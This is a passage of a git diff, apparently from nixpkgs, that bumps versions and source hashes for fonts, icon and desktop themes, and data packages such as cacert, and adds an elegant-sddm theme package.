"https://github.com/isaozler/kode-mono/releases/download/${finalAttrs.version}/kode-mono-fonts.zip"; - hash = "sha256-DRe2Qi+Unhr5ebQdTG6QgvQEUTNOdnosFbQC8kpHNYU="; + hash = "sha256-0EZTlSqGCavSwjpKcEFv2L/bkKLE2jLyBWPSnmxQ3ww="; stripRoot = false; }; diff --git a/pkgs/data/fonts/lxgw-neoxihei/default.nix b/pkgs/data/fonts/lxgw-neoxihei/default.nix index 36ab88861ae41..34450f55cbdf7 100644 --- a/pkgs/data/fonts/lxgw-neoxihei/default.nix +++ b/pkgs/data/fonts/lxgw-neoxihei/default.nix @@ -5,11 +5,11 @@ stdenvNoCC.mkDerivation rec { pname = "lxgw-neoxihei"; - version = "1.110"; + version = "1.120"; src = fetchurl { url = "https://github.com/lxgw/LxgwNeoXiHei/releases/download/v${version}/LXGWNeoXiHei.ttf"; - hash = "sha256-6KeKz8lJBCc/sc5pCkS2mSwMAQ8XpwDIMCjSbVXuyH4="; + hash = "sha256-rQ+gbmUYr+iWm5WCUSqb+8+aMD5JZUsbPXZ0Nio2cl8="; }; dontUnpack = true; diff --git a/pkgs/data/fonts/lxgw-wenkai/default.nix b/pkgs/data/fonts/lxgw-wenkai/default.nix index 991fff3c0bdc0..8ce458d3e4a36 100644 --- a/pkgs/data/fonts/lxgw-wenkai/default.nix +++ b/pkgs/data/fonts/lxgw-wenkai/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation rec { pname = "lxgw-wenkai"; - version = "1.315"; + version = "1.320"; src = fetchurl { url = "https://github.com/lxgw/LxgwWenKai/releases/download/v${version}/${pname}-v${version}.tar.gz"; - hash = "sha256-btiF6jij8sw/kynQedUdy9//5rPPhtnRhmZ59FY+S0c="; + hash = "sha256-9crFUfj1mOXg4gD607jL2eHq8wlq/yEi5sgzKJ5YavM="; }; installPhase = '' diff --git a/pkgs/data/fonts/sketchybar-app-font/default.nix b/pkgs/data/fonts/sketchybar-app-font/default.nix index 57ab1ad0824fb..a172f2da4b4b2 100644 --- a/pkgs/data/fonts/sketchybar-app-font/default.nix +++ b/pkgs/data/fonts/sketchybar-app-font/default.nix @@ -5,11 +5,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "sketchybar-app-font"; - version = "2.0.4"; + version = "2.0.5"; src = fetchurl { url = "https://github.com/kvndrsslr/sketchybar-app-font/releases/download/v${finalAttrs.version}/sketchybar-app-font.ttf"; - hash = "sha256-G3ceScZQT1rrjw+V9ALRo78lSVYsLymQLFfzSo/gA8U="; + hash = "sha256-nfJVICpaw1Q1jChc3feY39vjtS/fLJ3FKVGqOKhyzwA="; }; dontUnpack = true; @@ -28,7 +28,7 @@ stdenvNoCC.mkDerivation (finalAttrs: { A ligature-based symbol font and a mapping function for sketchybar, inspired by simple-bar's usage of community-contributed minimalistic app icons. ''; homepage = "https://github.com/kvndrsslr/sketchybar-app-font"; - license = lib.licenses.unlicense; + license = lib.licenses.cc0; maintainers = with lib.maintainers; [ khaneliman ]; }; }) diff --git a/pkgs/data/fonts/sudo/default.nix b/pkgs/data/fonts/sudo/default.nix index ec079295a9cac..ff8f0ab312cef 100644 --- a/pkgs/data/fonts/sudo/default.nix +++ b/pkgs/data/fonts/sudo/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation rec { pname = "sudo-font"; - version = "0.81"; + version = "1.1"; src = fetchzip { url = "https://github.com/jenskutilek/sudo-font/releases/download/v${version}/sudo.zip"; - hash = "sha256-qc26xHM9P9+lsPE9j5UY4f0hIb5PjlCSy+jm0zEFj2g="; + hash = "sha256-acHeaA8WIkGNrjErbLCkkUpkIZvLbgaV+pvr56ku5tw="; }; installPhase = '' diff --git a/pkgs/data/fonts/tamzen/default.nix b/pkgs/data/fonts/tamzen/default.nix index f589455e9811e..e8706c1971c6a 100644 --- a/pkgs/data/fonts/tamzen/default.nix +++ b/pkgs/data/fonts/tamzen/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "tamzen-font"; - version = "1.11.5"; + version = "1.11.6"; src = fetchFromGitHub { owner = "sunaku"; repo = "tamzen-font"; rev = "Tamzen-${version}"; - sha256 = "00x5fipzqimglvshhqwycdhaqslbvn3rl06jnswhyxfvz16ymj7s"; + sha256 = "sha256-W5Wqsm5rpzzcbJl2lv6ORAznaAwLcmJ2S6Qo2zIoq9I="; }; nativeBuildInputs = [ xorg.mkfontscale ]; diff --git a/pkgs/data/fonts/twemoji-color-font/default.nix b/pkgs/data/fonts/twemoji-color-font/default.nix index 2641fc1bc9407..a6e65ce689555 100644 --- a/pkgs/data/fonts/twemoji-color-font/default.nix +++ b/pkgs/data/fonts/twemoji-color-font/default.nix @@ -3,14 +3,14 @@ , fetchurl }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "twemoji-color-font"; version = "14.0.2"; # We fetch the prebuilt font because building it takes 1.5 hours on hydra. # Relevant issue: https://github.com/NixOS/nixpkgs/issues/97871 src = fetchurl { - url = "https://github.com/eosrei/twemoji-color-font/releases/download/v${version}/TwitterColorEmoji-SVGinOT-Linux-${version}.tar.gz"; + url = "https://github.com/eosrei/twemoji-color-font/releases/download/v${finalAttrs.version}/TwitterColorEmoji-SVGinOT-Linux-${finalAttrs.version}.tar.gz"; sha256 = "sha256-aCbiHqCNxd8myIeuTlYEaYfg9JCd+MAsc94FcUoDU8E="; }; @@ -39,4 +39,4 @@ stdenv.mkDerivation rec { license = with licenses; [ cc-by-40 mit ]; maintainers = [ maintainers.fgaz ]; }; -} +}) diff --git a/pkgs/data/fonts/ubuntu-font-family/default.nix b/pkgs/data/fonts/ubuntu-font-family/default.nix index 331e34690a5e2..671ba8b4b48d9 100644 --- a/pkgs/data/fonts/ubuntu-font-family/default.nix +++ b/pkgs/data/fonts/ubuntu-font-family/default.nix @@ -25,7 +25,7 @@ stdenvNoCC.mkDerivation rec { contemporary style and contains characteristics unique to the Ubuntu brand that convey a precise, reliable and free attitude."; homepage = "http://font.ubuntu.com/"; - license = licenses.free; + license = licenses.ufl; platforms = platforms.all; maintainers = [ maintainers.antono ]; }; diff --git a/pkgs/data/fonts/undefined-medium/default.nix b/pkgs/data/fonts/undefined-medium/default.nix index 3e3087c6abc8b..c1b22f7871173 100644 --- a/pkgs/data/fonts/undefined-medium/default.nix +++ b/pkgs/data/fonts/undefined-medium/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation rec { pname = "undefined-medium"; - version = "1.1"; + version = "1.2"; src = fetchzip { - url = "https://github.com/andirueckel/undefined-medium/archive/v1.1.zip"; - hash = "sha256-iquxt7lo92y4AQZf23Ij5Qzg2U7buL3kGLksQSR6vac="; + url = "https://github.com/andirueckel/undefined-medium/archive/v1.2.zip"; + hash = "sha256-hgHwi25T+aM7ljzk5uR4x+CqoRJ3/IOyktdp/mDW46I="; }; installPhase = '' diff --git a/pkgs/data/fonts/unifont_upper/default.nix b/pkgs/data/fonts/unifont_upper/default.nix index e7820a85842c2..058e4e4191c4a 100644 --- a/pkgs/data/fonts/unifont_upper/default.nix +++ b/pkgs/data/fonts/unifont_upper/default.nix @@ -2,11 +2,11 @@ stdenvNoCC.mkDerivation rec { pname = "unifont_upper"; - version = "15.1.04"; + version = "15.1.05"; src = fetchurl { url = "mirror://gnu/unifont/unifont-${version}/${pname}-${version}.otf"; - hash = "sha256-SUsG2xhrn47zrGpNzRn1g76qyt2vQyH/UBmYtzCD0UA="; + hash = "sha256-A/Z/+IMNUH/3Ir3ewf/U2xqkkpZDUDKO+dlnRYt+7U0="; }; dontUnpack = true; diff --git a/pkgs/data/fonts/vdrsymbols/default.nix b/pkgs/data/fonts/vdrsymbols/default.nix index 5df82b31cfe50..fd7aba9ec063f 100644 --- a/pkgs/data/fonts/vdrsymbols/default.nix +++ b/pkgs/data/fonts/vdrsymbols/default.nix @@ -27,6 +27,6 @@ stdenvNoCC.mkDerivation rec { # Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved. # DejaVu changes are in public domain # See https://dejavu-fonts.github.io/License.html for details - license = licenses.free; + license = with licenses; [ bitstreamVera publicDomain ]; }; } diff --git a/pkgs/data/icons/colloid-icon-theme/default.nix b/pkgs/data/icons/colloid-icon-theme/default.nix index 7806f3e814ad1..1e14e71129559 100644 --- a/pkgs/data/icons/colloid-icon-theme/default.nix +++ b/pkgs/data/icons/colloid-icon-theme/default.nix @@ -18,13 +18,13 @@ lib.checkListOfEnum "${pname}: color variants" [ "default" "purple" "pink" "red" stdenvNoCC.mkDerivation rec { inherit pname; - version = "2023-07-01"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "vinceliuice"; repo = pname; rev = version; - hash = "sha256-2J6LmDV/Y2+x+nK3mO+t4MnmZCbVwDLX0tDG6BmLgqo="; + hash = "sha256-bTN6x3t88yBL4WsPfOJIiNGWTywdIVi7E2VJKgMzEso="; }; nativeBuildInputs = [ diff --git a/pkgs/data/icons/fluent-icon-theme/default.nix b/pkgs/data/icons/fluent-icon-theme/default.nix index 6933a0ecb9286..cc3253e3b1fb9 100644 --- a/pkgs/data/icons/fluent-icon-theme/default.nix +++ b/pkgs/data/icons/fluent-icon-theme/default.nix @@ -16,13 +16,13 @@ lib.checkListOfEnum "${pname}: available color variants" [ "standard" "green" "g stdenvNoCC.mkDerivation rec { inherit pname; - version = "2023-06-07"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "vinceliuice"; repo = pname; rev = version; - hash = "sha256-drEAjIY/lacqncSeVeNmeRX6v4PnLvGo66Na1fuFXRg="; + hash = "sha256-Cadp2+4kBZ74kdD5x0O85FszxvN6/sg6yccxughyX1Q"; }; nativeBuildInputs = [ gtk3 jdupes ]; diff --git a/pkgs/data/misc/cacert/default.nix b/pkgs/data/misc/cacert/default.nix index 30f2ee38c72f8..7dc047bb1c88b 100644 --- a/pkgs/data/misc/cacert/default.nix +++ b/pkgs/data/misc/cacert/default.nix @@ -20,7 +20,7 @@ let blocklist = writeText "cacert-blocklist.txt" (lib.concatStringsSep "\n" blacklist); extraCertificatesBundle = writeText "cacert-extra-certificates-bundle.crt" (lib.concatStringsSep "\n\n" extraCertificateStrings); - srcVersion = "3.95"; + srcVersion = "3.98"; version = if nssOverride != null then nssOverride.version else srcVersion; meta = with lib; { homepage = "https://curl.haxx.se/docs/caextract.html"; @@ -37,7 +37,7 @@ let owner = "nss-dev"; repo = "nss"; rev = "NSS_${lib.replaceStrings ["."] ["_"] version}_RTM"; - hash = "sha256-qgSbzlRbU+gElC2ae3FEGRUFSM1JHd/lNGNXC0x4xt4="; + hash = "sha256-0p1HzspxyzhzX46O7ax8tmYiaFEBeqEqEvman4NIiQc="; }; dontBuild = true; @@ -71,6 +71,7 @@ stdenv.mkDerivation rec { --ca_bundle_input "${extraCertificatesBundle}" ${lib.escapeShellArgs (map (arg: "${arg}") extraCertificateFiles)} \ --blocklist "${blocklist}" \ --ca_bundle_output ca-bundle.crt \ + --ca_standard_bundle_output ca-no-trust-rules-bundle.crt \ --ca_unpacked_output unbundled \ --p11kit_output ca-bundle.trust.p11-kit ''; @@ -78,6 +79,9 @@ stdenv.mkDerivation rec { installPhase = '' install -D -t "$out/etc/ssl/certs" ca-bundle.crt + # install standard PEM compatible bundle + install -D -t "$out/etc/ssl/certs" ca-no-trust-rules-bundle.crt + # install p11-kit specific output to p11kit output install -D -t "$p11kit/etc/ssl/trust-source" ca-bundle.trust.p11-kit diff --git a/pkgs/data/misc/dbip-country-lite/default.nix b/pkgs/data/misc/dbip-country-lite/default.nix index e1dc1bebf4876..90110d94d1ad3 100644 --- a/pkgs/data/misc/dbip-country-lite/default.nix +++ b/pkgs/data/misc/dbip-country-lite/default.nix @@ -5,11 +5,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "dbip-country-lite"; - version = "2024-02"; + version = "2024-03"; src = fetchurl { url = "https://download.db-ip.com/free/dbip-country-lite-${finalAttrs.version}.mmdb.gz"; - hash = "sha256-YeZaFscmH4yVNwwXCHzxf/BlM1zT0gbdZ6Ysdh4gqN4="; + hash = "sha256-pWlNmM7CCiIS1GRRX5GRWNOF5tOwPPTytgc7V2+l3LE="; }; dontUnpack = true; diff --git a/pkgs/data/misc/ddccontrol-db/default.nix b/pkgs/data/misc/ddccontrol-db/default.nix index 4a5c906513c43..91c406cad1b19 100644 --- a/pkgs/data/misc/ddccontrol-db/default.nix +++ b/pkgs/data/misc/ddccontrol-db/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "ddccontrol-db"; - version = "20240209"; + version = "20240304"; src = fetchFromGitHub { owner = "ddccontrol"; repo = pname; rev = version; - sha256 = "sha256-Jmq8W9LHL+B4mY0meI9CtKvJw6NnF83kDaUG8Hbsj4Q="; + sha256 = "sha256-vXG9aa6Zdv5R7q62tpFaUIw4MVnT/jWwZ+jw1S9K7MM="; }; nativeBuildInputs = [ autoreconfHook intltool ]; diff --git a/pkgs/data/misc/spdx-license-list-data/default.nix b/pkgs/data/misc/spdx-license-list-data/default.nix index e20872482d58e..ac66df4246364 100644 --- a/pkgs/data/misc/spdx-license-list-data/default.nix +++ b/pkgs/data/misc/spdx-license-list-data/default.nix @@ -2,13 +2,13 @@ stdenvNoCC.mkDerivation rec { pname = "spdx-license-list-data"; - version = "3.22"; + version = "3.23"; src = fetchFromGitHub { owner = "spdx"; repo = "license-list-data"; rev = "v${version}"; - hash = "sha256-ZADijP8TKMSXJApY7pVTJoqsEPPL8PX7dUFJHFX5utw="; + hash = "sha256-mxTEEkmLB/bh+7r2idKrP3IjT00UBlhI0HnR5bMfu+E="; }; # List of file formats to package. diff --git a/pkgs/data/misc/v2ray-domain-list-community/default.nix b/pkgs/data/misc/v2ray-domain-list-community/default.nix index 24448d1b66abe..1533cd089228b 100644 --- a/pkgs/data/misc/v2ray-domain-list-community/default.nix +++ b/pkgs/data/misc/v2ray-domain-list-community/default.nix @@ -3,12 +3,12 @@ let generator = pkgsBuildBuild.buildGoModule rec { pname = "v2ray-domain-list-community"; - version = "20240208184303"; + version = "20240221053250"; src = fetchFromGitHub { owner = "v2fly"; repo = "domain-list-community"; rev = version; - hash = "sha256-pKijinMAnDIjOtLYJ8jcsIc5W1tEw6RA/inDm7Lqa1Q="; + hash = "sha256-oPffStUx2CD4gfSNIYqCzLLj+IAhm3aGQknRsrauD+k="; }; vendorHash = "sha256-azvMUi8eLNoNofRa2X4SKTTiMd6aOyO6H/rOiKjkpIY="; meta = with lib; { diff --git a/pkgs/data/themes/adapta-kde/default.nix b/pkgs/data/themes/adapta-kde/default.nix index a93e78480b003..be9367106d4d3 100644 --- a/pkgs/data/themes/adapta-kde/default.nix +++ b/pkgs/data/themes/adapta-kde/default.nix @@ -15,7 +15,7 @@ stdenv.mkDerivation rec { meta = { description = "A port of the Adapta theme for Plasma"; - homepage = "https://git.io/adapta-kde"; + homepage = "https://github.com/PapirusDevelopmentTeam/adapta-kde"; license = lib.licenses.gpl3; maintainers = [ lib.maintainers.tadfisher ]; platforms = lib.platforms.all; diff --git a/pkgs/data/themes/alacritty-theme/default.nix b/pkgs/data/themes/alacritty-theme/default.nix index c8d8184768f8b..d5fbc03b63016 100644 --- a/pkgs/data/themes/alacritty-theme/default.nix +++ b/pkgs/data/themes/alacritty-theme/default.nix @@ -6,13 +6,13 @@ stdenvNoCC.mkDerivation (self: { name = "alacritty-theme"; - version = "unstable-2024-01-21"; + version = "unstable-2024-02-28"; src = fetchFromGitHub { owner = "alacritty"; repo = "alacritty-theme"; - rev = "f03686afad05274f5fbd2507f85f95b1a6542df4"; - hash = "sha256-457kKE3I4zGf1EKkEoyZu0Fa/1O3yiryzHVEw2rNZt8="; + rev = "4aefb7c079721474078b28bbf9f582b592749ca6"; + hash = "sha256-+35S6eQkxLBuS/fDKD5bglQDIuz2xeEc5KSaK6k7IjI="; }; dontConfigure = true; diff --git a/pkgs/data/themes/arc-kde/default.nix b/pkgs/data/themes/arc-kde/default.nix index 2b41baa63494f..79467e1743ef8 100644 --- a/pkgs/data/themes/arc-kde/default.nix +++ b/pkgs/data/themes/arc-kde/default.nix @@ -15,7 +15,7 @@ stdenv.mkDerivation rec { meta = { description = "A port of the arc theme for Plasma"; - homepage = "https://git.io/arc-kde"; + homepage = "https://github.com/PapirusDevelopmentTeam/arc-kde"; license = lib.licenses.gpl3; maintainers = [ lib.maintainers.nixy ]; platforms = lib.platforms.all; diff --git a/pkgs/data/themes/dracula-theme/default.nix b/pkgs/data/themes/dracula-theme/default.nix index fe17da65a142f..d7e51b17dbc2c 100644 --- a/pkgs/data/themes/dracula-theme/default.nix +++ b/pkgs/data/themes/dracula-theme/default.nix @@ -2,7 +2,7 @@ let themeName = "Dracula"; - version = "unstable-2024-02-08"; + version = "unstable-2024-03-02"; in stdenvNoCC.mkDerivation { pname = "dracula-theme"; @@ -11,8 +11,8 @@ stdenvNoCC.mkDerivation { src = fetchFromGitHub { owner = "dracula"; repo = "gtk"; - rev = "b974287300b58766c9f020a6fc779e5cd9ca4da8"; - hash = "sha256-01UHRPO8Cdgdd2FTxGGxCGOPGHBx9JgR7Taoh8Xm58U="; + rev = "9eb561508e481d77f2d39fbb3a6b2949e990aa4f"; + hash = "sha256-jsi6nMblqKDPIF10hIqubuOiaYDO+SuHGfb5yncRRHE="; }; propagatedUserEnvPkgs = [ diff --git a/pkgs/data/themes/elegant-sddm/default.nix b/pkgs/data/themes/elegant-sddm/default.nix new file mode 100644 index 0000000000000..eaf435089d71d --- /dev/null +++ b/pkgs/data/themes/elegant-sddm/default.nix @@ -0,0 +1,63 @@ +{ lib +, formats +, stdenvNoCC +, fetchFromGitHub +, qtgraphicaleffects + /* An example of how you can override the background with a NixOS wallpaper + * + * environment.systemPackages = [ + * (pkgs.elegant-sddm.override { + * themeConfig.General = { + background = "${pkgs.nixos-artwork.wallpapers.simple-dark-gray-bottom.gnomeFilePath}"; + * }; + * }) + * ]; + */ +, themeConfig ? null +}: + +let + user-cfg = (formats.ini { }).generate "theme.conf.user" themeConfig; +in + +stdenvNoCC.mkDerivation { + pname = "elegant-sddm"; + version = "unstable-2024-02-08"; + + src = fetchFromGitHub { + owner = "surajmandalcell"; + repo = "Elegant-sddm"; + rev = "3102e880f46a1b72c929d13cd0a3fb64f973952a"; + hash = "sha256-yn0fTYsdZZSOcaYlPCn8BUIWeFIKcTI1oioTWqjYunQ="; + }; + + propagatedBuildInputs = [ + qtgraphicaleffects + ]; + + dontWrapQtApps = true; + + installPhase = '' + runHook preInstall + + mkdir -p "$out/share/sddm/themes" + cp -r Elegant/ "$out/share/sddm/themes/Elegant" + '' + (lib.optionalString (lib.isAttrs themeConfig) '' + ln -sf ${user-cfg} $out/share/sddm/themes/Elegant/theme.conf.user + '') + '' + runHook postInstall + ''; + + postFixup = '' + mkdir -p $out/nix-support + + echo ${qtgraphicaleffects} >> $out/nix-support/propagated-user-env-packages + ''; + + meta = with lib; { + description = "Sleek and stylish SDDM theme crafted in QML"; + homepage = "https://github.com/surajmandalcell/Elegant-sddm"; + license = licenses.gpl3; + maintainers = with maintainers; [ GaetanLepage ]; + }; +} diff --git a/pkgs/data/themes/gtk-theme-framework/default.nix b/pkgs/data/themes/gtk-theme-framework/default.nix index 99b9edfc3aca9..d596580d67edf 100644 --- a/pkgs/data/themes/gtk-theme-framework/default.nix +++ b/pkgs/data/themes/gtk-theme-framework/default.nix @@ -31,6 +31,6 @@ stdenv.mkDerivation rec { meta = with lib; { homepage = "https://github.com/jaxwilko/gtk-theme-framework"; license = licenses.gpl3Only; - maintainers = with maintainers; [ flexagoon ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/data/themes/kwin-decorations/kde-rounded-corners/default.nix b/pkgs/data/themes/kwin-decorations/kde-rounded-corners/default.nix index b3605c9c95a9d..b70bc18d78af1 100644 --- a/pkgs/data/themes/kwin-decorations/kde-rounded-corners/default.nix +++ b/pkgs/data/themes/kwin-decorations/kde-rounded-corners/default.nix @@ -12,13 +12,13 @@ stdenv.mkDerivation rec { pname = "kde-rounded-corners"; - version = "0.6.0"; + version = "0.6.1"; src = fetchFromGitHub { owner = "matinlotfali"; repo = "KDE-Rounded-Corners"; rev = "v${version}"; - hash = "sha256-DE3XTu3CQY9mGuOpehWno/4yFyLjHuh4RxdUh+aTU7M="; + hash = "sha256-8QkuIuHC0/fMxh8K3/I8GNhNPX+tw7kUMiU2oK12c0U="; }; postConfigure = '' @@ -33,6 +33,6 @@ stdenv.mkDerivation rec { description = "Rounds the corners of your windows"; homepage = "https://github.com/matinlotfali/KDE-Rounded-Corners"; license = licenses.gpl3Only; - maintainers = with maintainers; [ flexagoon ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/data/themes/kwin-decorations/sierra-breeze-enhanced/default.nix b/pkgs/data/themes/kwin-decorations/sierra-breeze-enhanced/default.nix index 46d6af5f24c42..63140298ea3a6 100644 --- a/pkgs/data/themes/kwin-decorations/sierra-breeze-enhanced/default.nix +++ b/pkgs/data/themes/kwin-decorations/sierra-breeze-enhanced/default.nix @@ -32,6 +32,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/kupiqu/SierraBreezeEnhanced"; changelog = "https://github.com/kupiqu/SierraBreezeEnhanced/releases/tag/V${version}"; license = licenses.gpl3Only; - maintainers = with maintainers; [ flexagoon ]; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/data/themes/nordic/default.nix b/pkgs/data/themes/nordic/default.nix index d99b31392b61c..ce17fd9ffd8da 100644 --- a/pkgs/data/themes/nordic/default.nix +++ b/pkgs/data/themes/nordic/default.nix @@ -10,70 +10,70 @@ stdenvNoCC.mkDerivation rec { pname = "nordic"; - version = "2.2.0-unstable-2024-01-20"; + version = "2.2.0-unstable-2024-02-20"; srcs = [ (fetchFromGitHub { owner = "EliverLara"; repo = pname; - rev = "218a1a8679fdb97aa0aa7997fdf8c5344d68fb2f"; - hash = "sha256-a315U4HsQP1omluTJjq9U76L3ANP7uN831mCY54vZnk="; + rev = "58d5a8e10ae068b98a63e6de2791e289f417842d"; + hash = "sha256-Z3e7DoakK6f+UMBr78gZ+NJPb5vuJCfDgPRYywFDYeg="; name = "Nordic"; }) (fetchFromGitHub { owner = "EliverLara"; repo = pname; - rev = "59873a54c8524adb36411d17d473eb7b7c910eac"; - hash = "sha256-RisW5W0onNrtsSPHtFW66OdrQWOQX3uDmLiM+5ckzSY="; + rev = "cb7d95bd5438728f30f361a888dfb33b7f6ad28c"; + hash = "sha256-ZWGmDiXjEt0UuALyw7cjTYgdw9kdJJKc0vkclbZkBvo="; name = "Nordic-standard-buttons"; }) (fetchFromGitHub { owner = "EliverLara"; repo = pname; - rev = "6e2b8fb8017c34344ec6b70884f09ebb44863efb"; - hash = "sha256-B4qH8L5r16gaPS1wpiIHPyS3g/g53Xi2C6F0rcZKgWk="; + rev = "37b86a30ad3e048f87a689f2813aa28644035fa8"; + hash = "sha256-+O8+30H6humVQTwgFL3uQkeo5gPYrokpAKbT56PX6YQ="; name = "Nordic-darker"; }) (fetchFromGitHub { owner = "EliverLara"; repo = pname; - rev = "2160a7bc69f55dd0b9efa64f029344256a4ef086"; - hash = "sha256-1WdorWByZE4sXTfwsjFxvvSI0qQcAcfFoPXN5fGhEpc="; + rev = "926b215d14394ff043f2d2969e730759af7acd86"; + hash = "sha256-yR0DfmUW1rr38Zbwtr7TUYL6z8vTNyoj0vEhphbZieU="; name = "Nordic-darker-standard-buttons"; }) (fetchFromGitHub { owner = "EliverLara"; repo = pname; - rev = "63e0844bc04e1500e4b0ef8031cb3812e15e12fb"; - hash = "sha256-b0Zs2WsD913Ai8wvi7mPraFme93WZXm+7rnwhDvGuZM="; + rev = "1ae59d40ba8342fc14f3a55a2fb37446a8d10880"; + hash = "sha256-tFIXPP5Ohw8atNIqvMtB7sLka+/tw+aSbjMdzKfI9r0="; name = "Nordic-bluish-accent"; }) (fetchFromGitHub { owner = "EliverLara"; repo = pname; - rev = "53e44ca5045a57903c0024197fa7a7a267432afb"; - hash = "sha256-vF2f4PuQP0QkmPT6kR35eWYvQ9xLCYihEsobERURuBk="; + rev = "aaaa5dab0517f182a85a75d457da70d22e577b26"; + hash = "sha256-J/nti2jxQ0VfTbp5WfrE0CN6Pvfg1edplL6/QPKUBzc="; name = "Nordic-bluish-accent-standard-buttons"; }) (fetchFromGitHub { owner = "EliverLara"; repo = "${pname}-polar"; - rev = "4ec6f09782394d24d4d8cc78ac53c4692ec28985"; - hash = "sha256-Z50ciafgfTHBahjpcVTapnsU88ioPUZ1RjggNpruJP0="; + rev = "733d5ea57c6ecd8209ec0a928029e28b3f54f83d"; + hash = "sha256-y3ge0DF0SdKFjH+mZdHDpK3YG7Ng3rN0y0Er2WBC6Sc="; name = "Nordic-Polar"; }) (fetchFromGitHub { owner = "EliverLara"; repo = "${pname}-polar"; - rev = "c6c7ee8e642a9df07f7d69ed048a6ef37a26153c"; - hash = "sha256-e+B9oUKbPr2MKmaz+l5GTOP4iVmw24vVpS98mAxEekA="; + rev = "667dfe4f6e8157f30a4e0ea5dc1d17438520d6cf"; + hash = "sha256-p7bY1r8Ik+jsIyjR75UFHw8XuiGz5LmT09txBLyZpx4="; name = "Nordic-Polar-standard-buttons"; }) ]; @@ -121,10 +121,14 @@ stdenvNoCC.mkDerivation rec { mv -v $out/share/themes/Nordic/kde/colorschemes/* $out/share/color-schemes/ mv -v $out/share/themes/Nordic/kde/konsole $out/share/ mv -v $out/share/themes/Nordic/kde/kvantum/* $out/share/Kvantum/ - mv -v $out/share/themes/Nordic/kde/plasma/look-and-feel $out/share/plasma/ + cp -vr $out/share/themes/Nordic/kde/plasma/look-and-feel $out/share/plasma/look-and-feel/ + mv -v $out/share/themes/Nordic/kde/plasma/look-and-feel $out/share/plasma/desktoptheme/ mv -v $out/share/themes/Nordic/kde/folders/* $out/share/icons/ mv -v $out/share/themes/Nordic/kde/cursors/*-cursors $out/share/icons/ + rm -rf $out/share/plasma/look-and-feel/*/contents/{logout,osd,components} + rm -rf $out/share/plasma/desktoptheme/*/contents/{{defaults,splash,previews} + mkdir -p $sddm/share/sddm/themes mv -v $out/share/themes/Nordic/kde/sddm/* $sddm/share/sddm/themes/ diff --git a/pkgs/data/themes/obsidian2/default.nix b/pkgs/data/themes/obsidian2/default.nix index 86b06f8235353..1d7756e23b052 100644 --- a/pkgs/data/themes/obsidian2/default.nix +++ b/pkgs/data/themes/obsidian2/default.nix @@ -8,11 +8,11 @@ stdenvNoCC.mkDerivation rec { pname = "theme-obsidian2"; - version = "2.23"; + version = "2.24"; src = fetchurl { url = "https://github.com/madmaxms/theme-obsidian-2/releases/download/v${version}/obsidian-2-theme.tar.xz"; - sha256 = "sha256-yJoMS5XrHlMss+rdJ+xLJx0F9Hs1Cc+MFk+xyhRXaf0="; + sha256 = "sha256-P+62cdYiCk8419S+u1w6EmzJL0rgHAh7G5eTuBOrAGY="; }; sourceRoot = "."; diff --git a/pkgs/data/themes/tokyo-night-gtk/default.nix b/pkgs/data/themes/tokyonight-gtk-theme/default.nix index dc3273e695b1e..b56b0aadd3ed4 100644 --- a/pkgs/data/themes/tokyo-night-gtk/default.nix +++ b/pkgs/data/themes/tokyonight-gtk-theme/default.nix @@ -6,7 +6,7 @@ }: let - prefix = "tokyo-night-gtk"; + prefix = "tokyonight-gtk-theme"; packages = lib.mapAttrs' (type: content: { name = type; diff --git a/pkgs/data/themes/tokyo-night-gtk/generic.nix b/pkgs/data/themes/tokyonight-gtk-theme/generic.nix index 35bf498666da9..e575d13c436b8 100644 --- a/pkgs/data/themes/tokyo-night-gtk/generic.nix +++ b/pkgs/data/themes/tokyonight-gtk-theme/generic.nix @@ -12,7 +12,7 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "${prefix}_${type}-${variantName}"; - version = "unstable-2023-05-30"; + version = "unstable-2023-05-31"; src = fetchFromGitHub { owner = "Fausto-Korpsvart"; diff --git a/pkgs/data/themes/tokyo-night-gtk/variants.json b/pkgs/data/themes/tokyonight-gtk-theme/variants.json index 6489d9c649dee..6489d9c649dee 100644 --- a/pkgs/data/themes/tokyo-night-gtk/variants.json +++ b/pkgs/data/themes/tokyonight-gtk-theme/variants.json diff --git a/pkgs/data/themes/whitesur/default.nix b/pkgs/data/themes/whitesur/default.nix index 11d7448047a4f..8c1651fff231c 100644 --- a/pkgs/data/themes/whitesur/default.nix +++ b/pkgs/data/themes/whitesur/default.nix @@ -40,13 +40,13 @@ lib.checkListOfEnum "${pname}: panel size" [ "default" "smaller" "bigger" ] (sin stdenv.mkDerivation rec { pname = "whitesur-gtk-theme"; - version = "2023-10-13"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "vinceliuice"; repo = pname; rev = version; - sha256 = "sha256-H8QdKCX6C36J7AfFd0VV9Rnm8LGXSfkxj5Yp2p+PduE="; + sha256 = "sha256-9HYsORTd5n0jUYmwiObPZ90mOGhR2j+tzs6Y1NNnrn4="; }; nativeBuildInputs = [ diff --git a/pkgs/desktops/budgie/budgie-control-center/default.nix b/pkgs/desktops/budgie/budgie-control-center/default.nix index 1a51c3dfc1f1d..1b39949115085 100644 --- a/pkgs/desktops/budgie/budgie-control-center/default.nix +++ b/pkgs/desktops/budgie/budgie-control-center/default.nix @@ -19,7 +19,6 @@ , glibc , gnome , gnome-desktop -, gnome-online-accounts , gsettings-desktop-schemas , gsound , gtk3 @@ -54,18 +53,19 @@ , upower , webp-pixbuf-loader , wrapGAppsHook +, enableSshSocket ? false }: stdenv.mkDerivation rec { pname = "budgie-control-center"; - version = "1.3.0"; + version = "1.4.0"; src = fetchFromGitHub { owner = "BuddiesOfBudgie"; repo = pname; rev = "v${version}"; fetchSubmodules = true; - sha256 = 